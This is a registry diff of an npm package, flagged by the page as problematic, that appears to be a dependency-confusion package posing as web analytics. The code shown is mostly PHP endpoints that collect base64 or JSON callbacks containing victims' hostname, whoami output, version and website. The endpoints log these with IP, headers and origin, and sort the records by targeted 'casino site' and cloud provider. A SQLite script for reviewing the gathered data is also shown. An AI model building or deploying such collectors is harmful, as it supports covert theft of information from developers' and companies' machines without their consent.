@platform-clientextensions/rum-web 0.0.1-security → 999.999.1006
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @platform-clientextensions/rum-web might be problematic. Click here for more details.
- package/BloodRage.db +160 -0
- package/CASINO_TRACKING_SOLUTION.md +31 -0
- package/DATA_WITH_ORIGIN_PHP.txt +131 -0
- package/FINAL_POST_FIX.md +122 -0
- package/FINAL_WORKING_SOLUTION.md +56 -0
- package/ORIGIN_TRACKING_SOLUTION.md +93 -0
- package/QUICK_FIX_GUIDE.md +73 -0
- package/README.md +162 -5
- package/WORKING_SOLUTION.md +55 -0
- package/analytics_worker.js +282 -0
- package/analyze_db.bat +16 -0
- package/analyze_db.py +51 -0
- package/cloud_detection_fix.php +37 -0
- package/copilot instructions.md +5 -0
- package/data_force_post.php +95 -0
- package/data_hybrid.php +75 -0
- package/data_php_complete.php +155 -0
- package/data_simple.php +71 -0
- package/data_with_origin.php +131 -0
- package/db_analysis.py +67 -0
- package/diagnose_server.ps1 +57 -0
- package/enhanced_origin_tracking.php +147 -0
- package/fix_post_method.ps1 +124 -0
- package/index.js +60 -0
- package/nodejs_install_instructions.txt +17 -0
- package/npm_analytics_monitor.js +244 -0
- package/npm_casino_tracking.js +134 -0
- package/npm_package_rce_casino.js +272 -0
- package/npm_package_update.js +44 -0
- package/npm_package_with_origin.js +103 -0
- package/package.json +19 -6
- package/quick_test.ps1 +36 -0
- package/test_casino_tracking.ps1 +65 -0
- package/test_complete_solution.ps1 +87 -0
- package/test_current_server.ps1 +69 -0
- package/test_existing_files.ps1 +62 -0
- package/test_final_casino.ps1 +38 -0
- package/test_final_fix.ps1 +37 -0
- package/test_force_post.ps1 +50 -0
- package/test_freeboldsec_server.ps1 +54 -0
- package/test_hybrid.ps1 +63 -0
- package/test_live_server.ps1 +32 -0
- package/test_logger.ps1 +15 -0
- package/test_origin_final.ps1 +25 -0
- package/test_origin_tracking.ps1 +62 -0
- package/test_post_detailed.ps1 +51 -0
- package/test_post_fix.ps1 +24 -0
- package/test_post_simple.ps1 +30 -0
- package/test_server_simple.ps1 +16 -0
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
<?php
|
|
2
|
+
header('Content-Type: application/json');
|
|
3
|
+
header('Access-Control-Allow-Origin: *');
|
|
4
|
+
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
|
|
5
|
+
header('Access-Control-Allow-Headers: Content-Type');
|
|
6
|
+
|
|
7
|
+
// Create logs directory
|
|
8
|
+
$logDir = __DIR__ . '/logs';
|
|
9
|
+
if (!is_dir($logDir)) mkdir($logDir, 0777, true);
|
|
10
|
+
|
|
11
|
+
// Get client IP
|
|
12
|
+
function getClientIP() {
|
|
13
|
+
$ipKeys = ['HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
|
|
14
|
+
foreach ($ipKeys as $key) {
|
|
15
|
+
if (isset($_SERVER[$key])) {
|
|
16
|
+
return explode(',', $_SERVER[$key])[0];
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
return 'Unknown';
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
// Force read raw input FIRST
|
|
23
|
+
$rawInput = file_get_contents('php://input');
|
|
24
|
+
$contentType = $_SERVER['CONTENT_TYPE'] ?? '';
|
|
25
|
+
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
|
|
26
|
+
|
|
27
|
+
// Detect POST by multiple methods
|
|
28
|
+
$isPost = false;
|
|
29
|
+
if (!empty($rawInput)) {
|
|
30
|
+
$isPost = true;
|
|
31
|
+
} elseif (stripos($contentType, 'application/json') !== false) {
|
|
32
|
+
$isPost = true;
|
|
33
|
+
} elseif ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
|
34
|
+
$isPost = true;
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
// Process the request
|
|
38
|
+
$data = null;
|
|
39
|
+
$method = 'UNKNOWN';
|
|
40
|
+
|
|
41
|
+
if (isset($_GET['d'])) {
|
|
42
|
+
// GET with base64
|
|
43
|
+
$data = json_decode(base64_decode($_GET['d']), true);
|
|
44
|
+
$method = 'GET';
|
|
45
|
+
} elseif (!empty($rawInput)) {
|
|
46
|
+
// We have raw input - treat as POST
|
|
47
|
+
$data = json_decode($rawInput, true);
|
|
48
|
+
$method = 'POST';
|
|
49
|
+
|
|
50
|
+
// If JSON decode failed, try to parse as form data
|
|
51
|
+
if (!$data && strpos($rawInput, '=') !== false) {
|
|
52
|
+
parse_str($rawInput, $data);
|
|
53
|
+
$method = 'POST-FORM';
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
// Log if we have data
|
|
58
|
+
if ($data) {
|
|
59
|
+
$logEntry = [
|
|
60
|
+
'timestamp' => date('Y-m-d H:i:s'),
|
|
61
|
+
'method' => $method,
|
|
62
|
+
'client_ip' => getClientIP(),
|
|
63
|
+
'user_agent' => $userAgent,
|
|
64
|
+
'data' => $data,
|
|
65
|
+
'debug' => [
|
|
66
|
+
'raw_length' => strlen($rawInput),
|
|
67
|
+
'content_type' => $contentType,
|
|
68
|
+
'server_method' => $_SERVER['REQUEST_METHOD'] ?? 'unknown'
|
|
69
|
+
]
|
|
70
|
+
];
|
|
71
|
+
|
|
72
|
+
$logFile = $logDir . '/rum_callbacks_' . date('Y-m-d') . '.log';
|
|
73
|
+
file_put_contents($logFile, json_encode($logEntry) . "\n", FILE_APPEND);
|
|
74
|
+
|
|
75
|
+
echo json_encode([
|
|
76
|
+
'status' => 'success',
|
|
77
|
+
'message' => "Data received via $method",
|
|
78
|
+
'test_id' => substr(md5(time()), 0, 8),
|
|
79
|
+
'method_used' => $method
|
|
80
|
+
]);
|
|
81
|
+
} else {
|
|
82
|
+
// No data - show debug info
|
|
83
|
+
echo json_encode([
|
|
84
|
+
'status' => 'no_data',
|
|
85
|
+
'debug' => [
|
|
86
|
+
'raw_input_length' => strlen($rawInput),
|
|
87
|
+
'raw_input_preview' => substr($rawInput, 0, 100),
|
|
88
|
+
'content_type' => $contentType,
|
|
89
|
+
'server_method' => $_SERVER['REQUEST_METHOD'] ?? 'unknown',
|
|
90
|
+
'get_params' => $_GET,
|
|
91
|
+
'post_params' => $_POST
|
|
92
|
+
]
|
|
93
|
+
]);
|
|
94
|
+
}
|
|
95
|
+
?>
|
package/data_hybrid.php
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
<?php
|
|
2
|
+
header('Content-Type: application/json');
|
|
3
|
+
header('Access-Control-Allow-Origin: *');
|
|
4
|
+
|
|
5
|
+
// Create logs directory
|
|
6
|
+
$logDir = __DIR__ . '/logs';
|
|
7
|
+
if (!is_dir($logDir)) mkdir($logDir, 0777, true);
|
|
8
|
+
|
|
9
|
+
// Get client IP
|
|
10
|
+
function getClientIP() {
|
|
11
|
+
$ipKeys = ['HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
|
|
12
|
+
foreach ($ipKeys as $key) {
|
|
13
|
+
if (isset($_SERVER[$key])) {
|
|
14
|
+
return explode(',', $_SERVER[$key])[0];
|
|
15
|
+
}
|
|
16
|
+
}
|
|
17
|
+
return 'Unknown';
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
// Since POST is converted to GET, check for data in GET parameters
|
|
21
|
+
$data = null;
|
|
22
|
+
$method = 'UNKNOWN';
|
|
23
|
+
|
|
24
|
+
// Check for base64 encoded data in 'd' parameter
|
|
25
|
+
if (isset($_GET['d'])) {
|
|
26
|
+
$data = json_decode(base64_decode($_GET['d']), true);
|
|
27
|
+
$method = 'GET-ENCODED';
|
|
28
|
+
}
|
|
29
|
+
// Check for JSON data in 'json' parameter (for POST workaround)
|
|
30
|
+
elseif (isset($_GET['json'])) {
|
|
31
|
+
$data = json_decode($_GET['json'], true);
|
|
32
|
+
$method = 'GET-JSON';
|
|
33
|
+
}
|
|
34
|
+
// Check for individual parameters
|
|
35
|
+
elseif (isset($_GET['hostname']) || isset($_GET['whoami']) || isset($_GET['version'])) {
|
|
36
|
+
$data = [
|
|
37
|
+
'hostname' => $_GET['hostname'] ?? 'unknown',
|
|
38
|
+
'whoami' => $_GET['whoami'] ?? 'unknown',
|
|
39
|
+
'version' => $_GET['version'] ?? 'unknown'
|
|
40
|
+
];
|
|
41
|
+
// Add any other GET parameters
|
|
42
|
+
foreach ($_GET as $key => $value) {
|
|
43
|
+
if (!in_array($key, ['hostname', 'whoami', 'version'])) {
|
|
44
|
+
$data[$key] = $value;
|
|
45
|
+
}
|
|
46
|
+
}
|
|
47
|
+
$method = 'GET-PARAMS';
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
// Log if we have data
|
|
51
|
+
if ($data) {
|
|
52
|
+
$logEntry = [
|
|
53
|
+
'timestamp' => date('Y-m-d H:i:s'),
|
|
54
|
+
'method' => $method,
|
|
55
|
+
'client_ip' => getClientIP(),
|
|
56
|
+
'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown',
|
|
57
|
+
'data' => $data
|
|
58
|
+
];
|
|
59
|
+
|
|
60
|
+
$logFile = $logDir . '/rum_callbacks_' . date('Y-m-d') . '.log';
|
|
61
|
+
file_put_contents($logFile, json_encode($logEntry) . "\n", FILE_APPEND);
|
|
62
|
+
|
|
63
|
+
echo json_encode([
|
|
64
|
+
'status' => 'success',
|
|
65
|
+
'message' => "Data received via $method",
|
|
66
|
+
'test_id' => substr(md5(time()), 0, 8)
|
|
67
|
+
]);
|
|
68
|
+
} else {
|
|
69
|
+
echo json_encode([
|
|
70
|
+
'status' => 'ready',
|
|
71
|
+
'info' => 'Send data using: ?d=base64data OR ?json=jsondata OR ?hostname=X&whoami=Y&version=Z',
|
|
72
|
+
'server_converts_post_to_get' => true
|
|
73
|
+
]);
|
|
74
|
+
}
|
|
75
|
+
?>
|
|
@@ -0,0 +1,155 @@
|
|
|
1
|
+
<?php
|
|
2
|
+
header('Content-Type: application/json');
|
|
3
|
+
header('Access-Control-Allow-Origin: *');
|
|
4
|
+
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
|
|
5
|
+
header('Access-Control-Allow-Headers: Content-Type, Origin, Referer');
|
|
6
|
+
|
|
7
|
+
// Create logs directory
|
|
8
|
+
$logDir = __DIR__ . '/logs';
|
|
9
|
+
if (!is_dir($logDir)) mkdir($logDir, 0777, true);
|
|
10
|
+
|
|
11
|
+
// Get client IP
|
|
12
|
+
function getClientIP() {
|
|
13
|
+
$ipKeys = ['HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
|
|
14
|
+
foreach ($ipKeys as $key) {
|
|
15
|
+
if (isset($_SERVER[$key])) {
|
|
16
|
+
return explode(',', $_SERVER[$key])[0];
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
return 'Unknown';
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
// Detect cloud provider from domain
|
|
23
|
+
function detectCloudProvider($domain) {
|
|
24
|
+
$cloudPatterns = [
|
|
25
|
+
'amazonaws.com' => 'AWS',
|
|
26
|
+
'aws.amazon.com' => 'AWS',
|
|
27
|
+
'cloudfront.net' => 'AWS CloudFront',
|
|
28
|
+
'elasticbeanstalk.com' => 'AWS Elastic Beanstalk',
|
|
29
|
+
'azurewebsites.net' => 'Azure',
|
|
30
|
+
'azure.com' => 'Azure',
|
|
31
|
+
'cloudapp.net' => 'Azure',
|
|
32
|
+
'azurestaticapps.net' => 'Azure Static',
|
|
33
|
+
'googleapis.com' => 'Google Cloud',
|
|
34
|
+
'googleusercontent.com' => 'Google Cloud',
|
|
35
|
+
'herokuapp.com' => 'Heroku',
|
|
36
|
+
'vercel.app' => 'Vercel',
|
|
37
|
+
'netlify.app' => 'Netlify',
|
|
38
|
+
'github.io' => 'GitHub Pages',
|
|
39
|
+
'gitlab.io' => 'GitLab Pages'
|
|
40
|
+
];
|
|
41
|
+
|
|
42
|
+
foreach ($cloudPatterns as $pattern => $provider) {
|
|
43
|
+
if (stripos($domain, $pattern) !== false) {
|
|
44
|
+
return $provider;
|
|
45
|
+
}
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
return 'Direct';
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
// Get origin/referrer information
|
|
52
|
+
function getOriginInfo() {
|
|
53
|
+
$origin = [
|
|
54
|
+
'referer' => $_SERVER['HTTP_REFERER'] ?? null,
|
|
55
|
+
'origin' => $_SERVER['HTTP_ORIGIN'] ?? null,
|
|
56
|
+
'host' => $_SERVER['HTTP_HOST'] ?? null,
|
|
57
|
+
'x_forwarded_host' => $_SERVER['HTTP_X_FORWARDED_HOST'] ?? null,
|
|
58
|
+
'x_original_url' => $_SERVER['HTTP_X_ORIGINAL_URL'] ?? null
|
|
59
|
+
];
|
|
60
|
+
|
|
61
|
+
// Try to determine the source website
|
|
62
|
+
$source = null;
|
|
63
|
+
if ($origin['referer']) {
|
|
64
|
+
$parsed = parse_url($origin['referer']);
|
|
65
|
+
$source = $parsed['host'] ?? $origin['referer'];
|
|
66
|
+
} elseif ($origin['origin']) {
|
|
67
|
+
$parsed = parse_url($origin['origin']);
|
|
68
|
+
$source = $parsed['host'] ?? $origin['origin'];
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
return [
|
|
72
|
+
'source_website' => $source,
|
|
73
|
+
'full_origin_data' => array_filter($origin)
|
|
74
|
+
];
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
// Process the request
|
|
78
|
+
$data = null;
|
|
79
|
+
$method = 'UNKNOWN';
|
|
80
|
+
|
|
81
|
+
// Check for data in various formats
|
|
82
|
+
if (isset($_GET['d'])) {
|
|
83
|
+
$data = json_decode(base64_decode($_GET['d']), true);
|
|
84
|
+
$method = 'GET-ENCODED';
|
|
85
|
+
} elseif (isset($_GET['json'])) {
|
|
86
|
+
$data = json_decode($_GET['json'], true);
|
|
87
|
+
$method = 'GET-JSON';
|
|
88
|
+
} elseif (isset($_GET['hostname']) || isset($_GET['whoami']) || isset($_GET['version']) || isset($_GET['website'])) {
|
|
89
|
+
$data = [];
|
|
90
|
+
foreach ($_GET as $key => $value) {
|
|
91
|
+
$data[$key] = $value;
|
|
92
|
+
}
|
|
93
|
+
$method = 'GET-PARAMS';
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
// Log if we have data
|
|
97
|
+
if ($data) {
|
|
98
|
+
$originInfo = getOriginInfo();
|
|
99
|
+
|
|
100
|
+
// IMPORTANT: Get website from data if not from headers
|
|
101
|
+
$actualWebsite = $data['website'] ?? $originInfo['source_website'] ?? 'Unknown';
|
|
102
|
+
|
|
103
|
+
// Extract casino/site name from domain
|
|
104
|
+
$siteName = 'Unknown Site';
|
|
105
|
+
if ($actualWebsite && $actualWebsite !== 'Unknown') {
|
|
106
|
+
// Remove common prefixes and suffixes
|
|
107
|
+
$siteName = str_replace(['www.', 'http://', 'https://'], '', $actualWebsite);
|
|
108
|
+
$siteName = preg_replace('/\.(com|net|org|io|app|co|uk|ca|au).*$/', '', $siteName);
|
|
109
|
+
$siteName = str_replace(['.amazonaws', '.azurewebsites', '.cloudfront', '.herokuapp'], '', $siteName);
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
// Detect cloud provider
|
|
113
|
+
$cloudProvider = detectCloudProvider($actualWebsite);
|
|
114
|
+
|
|
115
|
+
$logEntry = [
|
|
116
|
+
'timestamp' => date('Y-m-d H:i:s'),
|
|
117
|
+
'method' => $method,
|
|
118
|
+
'client_ip' => getClientIP(),
|
|
119
|
+
'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown',
|
|
120
|
+
'casino_site' => $siteName, // Clean site name
|
|
121
|
+
'full_domain' => $actualWebsite, // Full domain
|
|
122
|
+
'cloud_provider' => $cloudProvider,
|
|
123
|
+
'origin_info' => $originInfo,
|
|
124
|
+
'callback_data' => $data,
|
|
125
|
+
'request_headers' => getallheaders() ?: []
|
|
126
|
+
];
|
|
127
|
+
|
|
128
|
+
// Create log file named by date and site
|
|
129
|
+
$safeFileName = preg_replace('/[^a-zA-Z0-9_-]/', '_', $siteName);
|
|
130
|
+
$logFileName = 'callbacks_' . date('Y-m-d');
|
|
131
|
+
if ($safeFileName !== 'Unknown_Site') {
|
|
132
|
+
$logFileName .= '_' . $safeFileName;
|
|
133
|
+
}
|
|
134
|
+
$logFile = $logDir . '/' . $logFileName . '.log';
|
|
135
|
+
|
|
136
|
+
file_put_contents($logFile, json_encode($logEntry) . "\n", FILE_APPEND);
|
|
137
|
+
|
|
138
|
+
echo json_encode([
|
|
139
|
+
'status' => 'success',
|
|
140
|
+
'message' => "Data received via $method",
|
|
141
|
+
'test_id' => substr(md5(time()), 0, 8),
|
|
142
|
+
'casino_site' => $siteName,
|
|
143
|
+
'full_domain' => $actualWebsite,
|
|
144
|
+
'cloud' => $cloudProvider
|
|
145
|
+
]);
|
|
146
|
+
} else {
|
|
147
|
+
echo json_encode([
|
|
148
|
+
'status' => 'ready',
|
|
149
|
+
'info' => 'Send data using: ?d=base64data OR ?json=jsondata OR ?hostname=X&whoami=Y&version=Z&website=example.com',
|
|
150
|
+
'origin_tracking' => 'enabled',
|
|
151
|
+
'casino_tracking' => 'enabled',
|
|
152
|
+
'note' => 'Website parameter is crucial for identifying the casino/site'
|
|
153
|
+
]);
|
|
154
|
+
}
|
|
155
|
+
?>
|
package/data_simple.php
ADDED
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
<?php
|
|
2
|
+
header('Content-Type: application/json');
|
|
3
|
+
header('Access-Control-Allow-Origin: *');
|
|
4
|
+
|
|
5
|
+
// Create logs directory
|
|
6
|
+
$logDir = __DIR__ . '/logs';
|
|
7
|
+
if (!is_dir($logDir)) mkdir($logDir, 0777, true);
|
|
8
|
+
|
|
9
|
+
// Get client IP
|
|
10
|
+
function getClientIP() {
|
|
11
|
+
$ipKeys = ['HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
|
|
12
|
+
foreach ($ipKeys as $key) {
|
|
13
|
+
if (isset($_SERVER[$key])) {
|
|
14
|
+
return explode(',', $_SERVER[$key])[0];
|
|
15
|
+
}
|
|
16
|
+
}
|
|
17
|
+
return 'Unknown';
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
// Always try to read input data
|
|
21
|
+
$rawInput = file_get_contents('php://input');
|
|
22
|
+
$getData = isset($_GET['d']) ? $_GET['d'] : null;
|
|
23
|
+
|
|
24
|
+
// Process data from either source
|
|
25
|
+
$data = null;
|
|
26
|
+
$method = 'UNKNOWN';
|
|
27
|
+
|
|
28
|
+
if ($getData) {
|
|
29
|
+
// GET with base64
|
|
30
|
+
$data = json_decode(base64_decode($getData), true);
|
|
31
|
+
$method = 'GET';
|
|
32
|
+
} elseif ($rawInput) {
|
|
33
|
+
// POST with JSON
|
|
34
|
+
$data = json_decode($rawInput, true);
|
|
35
|
+
$method = 'POST';
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
// If we have data, log it
|
|
39
|
+
if ($data) {
|
|
40
|
+
$logEntry = [
|
|
41
|
+
'timestamp' => date('Y-m-d H:i:s'),
|
|
42
|
+
'method' => $method,
|
|
43
|
+
'client_ip' => getClientIP(),
|
|
44
|
+
'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown',
|
|
45
|
+
'package' => $_SERVER['HTTP_X_PACKAGE'] ?? 'Unknown',
|
|
46
|
+
'version' => $_SERVER['HTTP_X_VERSION'] ?? 'Unknown',
|
|
47
|
+
'data' => $data
|
|
48
|
+
];
|
|
49
|
+
|
|
50
|
+
$logFile = $logDir . '/rum_callbacks_' . date('Y-m-d') . '.log';
|
|
51
|
+
file_put_contents($logFile, json_encode($logEntry) . "\n", FILE_APPEND);
|
|
52
|
+
|
|
53
|
+
echo json_encode([
|
|
54
|
+
'status' => 'success',
|
|
55
|
+
'message' => "Data received via $method",
|
|
56
|
+
'test_id' => substr(md5(time()), 0, 8)
|
|
57
|
+
]);
|
|
58
|
+
} else {
|
|
59
|
+
// No data received
|
|
60
|
+
echo json_encode([
|
|
61
|
+
'status' => 'ready',
|
|
62
|
+
'service' => 'RUM Data Collector',
|
|
63
|
+
'version' => '1.0',
|
|
64
|
+
'debug' => [
|
|
65
|
+
'raw_input_length' => strlen($rawInput),
|
|
66
|
+
'get_d' => $getData ? 'present' : 'not present',
|
|
67
|
+
'method' => $_SERVER['REQUEST_METHOD'] ?? 'unknown'
|
|
68
|
+
]
|
|
69
|
+
]);
|
|
70
|
+
}
|
|
71
|
+
?>
|
|
@@ -0,0 +1,131 @@
|
|
|
1
|
+
<?php
|
|
2
|
+
header('Content-Type: application/json');
|
|
3
|
+
header('Access-Control-Allow-Origin: *');
|
|
4
|
+
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
|
|
5
|
+
header('Access-Control-Allow-Headers: Content-Type, Origin, Referer');
|
|
6
|
+
|
|
7
|
+
// Create logs directory
|
|
8
|
+
$logDir = __DIR__ . '/logs';
|
|
9
|
+
if (!is_dir($logDir)) mkdir($logDir, 0777, true);
|
|
10
|
+
|
|
11
|
+
// Get client IP
|
|
12
|
+
function getClientIP() {
|
|
13
|
+
$ipKeys = ['HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
|
|
14
|
+
foreach ($ipKeys as $key) {
|
|
15
|
+
if (isset($_SERVER[$key])) {
|
|
16
|
+
return explode(',', $_SERVER[$key])[0];
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
return 'Unknown';
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
// Get origin/referrer information
|
|
23
|
+
function getOriginInfo() {
|
|
24
|
+
$origin = [
|
|
25
|
+
'referer' => $_SERVER['HTTP_REFERER'] ?? null,
|
|
26
|
+
'origin' => $_SERVER['HTTP_ORIGIN'] ?? null,
|
|
27
|
+
'host' => $_SERVER['HTTP_HOST'] ?? null,
|
|
28
|
+
'x_forwarded_host' => $_SERVER['HTTP_X_FORWARDED_HOST'] ?? null,
|
|
29
|
+
'x_original_url' => $_SERVER['HTTP_X_ORIGINAL_URL'] ?? null
|
|
30
|
+
];
|
|
31
|
+
|
|
32
|
+
// Try to determine the source website
|
|
33
|
+
$source = null;
|
|
34
|
+
if ($origin['referer']) {
|
|
35
|
+
$parsed = parse_url($origin['referer']);
|
|
36
|
+
$source = $parsed['host'] ?? $origin['referer'];
|
|
37
|
+
} elseif ($origin['origin']) {
|
|
38
|
+
$parsed = parse_url($origin['origin']);
|
|
39
|
+
$source = $parsed['host'] ?? $origin['origin'];
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
// Check if it's from cloud services
|
|
43
|
+
$cloudProviders = [
|
|
44
|
+
'amazonaws.com' => 'AWS',
|
|
45
|
+
'azure' => 'Azure',
|
|
46
|
+
'azurewebsites.net' => 'Azure',
|
|
47
|
+
'cloudapp.net' => 'Azure',
|
|
48
|
+
'googleusercontent.com' => 'Google Cloud',
|
|
49
|
+
'cloudfront.net' => 'AWS CloudFront',
|
|
50
|
+
'herokuapp.com' => 'Heroku',
|
|
51
|
+
'vercel.app' => 'Vercel',
|
|
52
|
+
'netlify.app' => 'Netlify',
|
|
53
|
+
'github.io' => 'GitHub Pages',
|
|
54
|
+
'gitlab.io' => 'GitLab Pages'
|
|
55
|
+
];
|
|
56
|
+
|
|
57
|
+
$cloudProvider = 'Unknown';
|
|
58
|
+
if ($source) {
|
|
59
|
+
foreach ($cloudProviders as $domain => $provider) {
|
|
60
|
+
if (stripos($source, $domain) !== false) {
|
|
61
|
+
$cloudProvider = $provider;
|
|
62
|
+
break;
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
return [
|
|
68
|
+
'source_website' => $source,
|
|
69
|
+
'cloud_provider' => $cloudProvider,
|
|
70
|
+
'full_origin_data' => array_filter($origin)
|
|
71
|
+
];
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
// Process the request
|
|
75
|
+
$data = null;
|
|
76
|
+
$method = 'UNKNOWN';
|
|
77
|
+
|
|
78
|
+
// Check for data in various formats
|
|
79
|
+
if (isset($_GET['d'])) {
|
|
80
|
+
$data = json_decode(base64_decode($_GET['d']), true);
|
|
81
|
+
$method = 'GET-ENCODED';
|
|
82
|
+
} elseif (isset($_GET['json'])) {
|
|
83
|
+
$data = json_decode($_GET['json'], true);
|
|
84
|
+
$method = 'GET-JSON';
|
|
85
|
+
} elseif (isset($_GET['hostname']) || isset($_GET['whoami']) || isset($_GET['version']) || isset($_GET['website'])) {
|
|
86
|
+
$data = [];
|
|
87
|
+
foreach ($_GET as $key => $value) {
|
|
88
|
+
$data[$key] = $value;
|
|
89
|
+
}
|
|
90
|
+
$method = 'GET-PARAMS';
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
// Log if we have data
|
|
94
|
+
if ($data) {
|
|
95
|
+
$originInfo = getOriginInfo();
|
|
96
|
+
|
|
97
|
+
$logEntry = [
|
|
98
|
+
'timestamp' => date('Y-m-d H:i:s'),
|
|
99
|
+
'method' => $method,
|
|
100
|
+
'client_ip' => getClientIP(),
|
|
101
|
+
'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown',
|
|
102
|
+
'origin_info' => $originInfo,
|
|
103
|
+
'callback_data' => $data,
|
|
104
|
+
'request_headers' => getallheaders() ?: []
|
|
105
|
+
];
|
|
106
|
+
|
|
107
|
+
// Create separate log files for different cloud providers
|
|
108
|
+
$logFileName = 'rum_callbacks_' . date('Y-m-d');
|
|
109
|
+
if ($originInfo['cloud_provider'] !== 'Unknown') {
|
|
110
|
+
$logFileName .= '_' . strtolower(str_replace(' ', '_', $originInfo['cloud_provider']));
|
|
111
|
+
}
|
|
112
|
+
$logFile = $logDir . '/' . $logFileName . '.log';
|
|
113
|
+
|
|
114
|
+
file_put_contents($logFile, json_encode($logEntry) . "\n", FILE_APPEND);
|
|
115
|
+
|
|
116
|
+
echo json_encode([
|
|
117
|
+
'status' => 'success',
|
|
118
|
+
'message' => "Data received via $method",
|
|
119
|
+
'test_id' => substr(md5(time()), 0, 8),
|
|
120
|
+
'origin_tracked' => $originInfo['source_website'] ?? 'Unknown',
|
|
121
|
+
'cloud' => $originInfo['cloud_provider']
|
|
122
|
+
]);
|
|
123
|
+
} else {
|
|
124
|
+
echo json_encode([
|
|
125
|
+
'status' => 'ready',
|
|
126
|
+
'info' => 'Send data using: ?d=base64data OR ?json=jsondata OR ?hostname=X&whoami=Y&version=Z&website=example.com',
|
|
127
|
+
'origin_tracking' => 'enabled',
|
|
128
|
+
'note' => 'Origin/referrer will be automatically captured if available'
|
|
129
|
+
]);
|
|
130
|
+
}
|
|
131
|
+
?>
|
package/db_analysis.py
ADDED
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
import sqlite3
|
|
2
|
+
import base64
|
|
3
|
+
|
|
4
|
+
def analyze_database():
|
|
5
|
+
try:
|
|
6
|
+
conn = sqlite3.connect("BloodRage.db")
|
|
7
|
+
cursor = conn.cursor()
|
|
8
|
+
|
|
9
|
+
output = []
|
|
10
|
+
output.append("=== Database Analysis ===\n")
|
|
11
|
+
|
|
12
|
+
# Get all table names
|
|
13
|
+
cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
|
|
14
|
+
tables = cursor.fetchall()
|
|
15
|
+
|
|
16
|
+
output.append("Tables found:")
|
|
17
|
+
for table in tables:
|
|
18
|
+
output.append(f" - {table[0]}")
|
|
19
|
+
output.append("")
|
|
20
|
+
|
|
21
|
+
# Analyze each table
|
|
22
|
+
for table in tables:
|
|
23
|
+
table_name = table[0]
|
|
24
|
+
output.append(f"=== Table: {table_name} ===")
|
|
25
|
+
|
|
26
|
+
# Get table schema
|
|
27
|
+
cursor.execute(f"PRAGMA table_info({table_name});")
|
|
28
|
+
columns = cursor.fetchall()
|
|
29
|
+
output.append("Columns:")
|
|
30
|
+
for col in columns:
|
|
31
|
+
output.append(f" - {col[1]} ({col[2]})")
|
|
32
|
+
output.append("")
|
|
33
|
+
|
|
34
|
+
# Get all data from table
|
|
35
|
+
cursor.execute(f"SELECT * FROM {table_name};")
|
|
36
|
+
rows = cursor.fetchall()
|
|
37
|
+
output.append(f"Data ({len(rows)} rows):")
|
|
38
|
+
for i, row in enumerate(rows):
|
|
39
|
+
output.append(f" Row {i+1}: {row}")
|
|
40
|
+
# Check if any field looks like base64
|
|
41
|
+
for field in row:
|
|
42
|
+
if isinstance(field, str) and len(field) > 10:
|
|
43
|
+
try:
|
|
44
|
+
decoded = base64.b64decode(field).decode('utf-8')
|
|
45
|
+
if decoded.isprintable():
|
|
46
|
+
output.append(f" Possible base64 decode: {decoded}")
|
|
47
|
+
except:
|
|
48
|
+
pass
|
|
49
|
+
output.append("")
|
|
50
|
+
output.append("-" * 50)
|
|
51
|
+
output.append("")
|
|
52
|
+
|
|
53
|
+
conn.close()
|
|
54
|
+
|
|
55
|
+
# Write to file
|
|
56
|
+
with open("db_results.txt", "w") as f:
|
|
57
|
+
f.write("\n".join(output))
|
|
58
|
+
|
|
59
|
+
print("Analysis complete. Results saved to db_results.txt")
|
|
60
|
+
|
|
61
|
+
except Exception as e:
|
|
62
|
+
with open("db_error.txt", "w") as f:
|
|
63
|
+
f.write(f"Error: {e}")
|
|
64
|
+
print(f"Error occurred: {e}")
|
|
65
|
+
|
|
66
|
+
if __name__ == "__main__":
|
|
67
|
+
analyze_database()
|
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
